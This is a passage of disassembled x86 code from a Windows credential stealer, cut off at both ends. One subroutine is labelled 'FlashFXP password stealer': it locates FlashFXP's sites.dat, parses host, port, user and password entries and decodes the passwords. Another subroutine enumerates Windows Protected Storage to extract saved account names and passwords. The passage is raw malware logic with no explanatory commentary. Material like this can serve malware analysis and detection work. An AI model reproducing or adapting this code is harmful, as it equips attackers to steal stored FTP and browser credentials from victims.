CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D308 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D300 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2D4 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D268 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D22C lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE80 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D598 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D564 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D560 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D598 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D598 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .data:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D598 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE30 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DE30 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D510 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4AC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D49C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D49C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D49C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D45C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax 